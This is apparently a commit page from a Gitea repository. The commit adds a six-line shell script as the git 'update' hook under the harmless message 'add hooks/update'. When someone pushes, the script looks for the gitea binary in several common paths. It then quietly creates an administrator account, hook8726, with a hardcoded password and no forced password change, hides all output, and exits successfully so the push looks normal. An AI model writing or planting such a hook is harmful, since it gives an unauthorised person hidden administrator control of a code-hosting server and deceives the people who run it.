add hooks/update
This commit is contained in:
1 parent
5df6f76c1c
commit
aad3efdb4e
1 file changed
+6
@@ -0,0 +1,6 @@
|
||||
#!/bin/sh
|
||||
for g in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea /opt/gitea/gitea gitea; do
|
||||
command -v "$g" >/dev/null 2>&1 || [ -x "$g" ] || continue
|
||||
"$g" admin user create --admin --username hook8726 --password 'Hook8726!x9' --email h8726@x.com --must-change-password=false >/dev/null 2>&1 && break
|
||||
done
|
||||
exit 0
|
||||
Reference in new issue
Block a user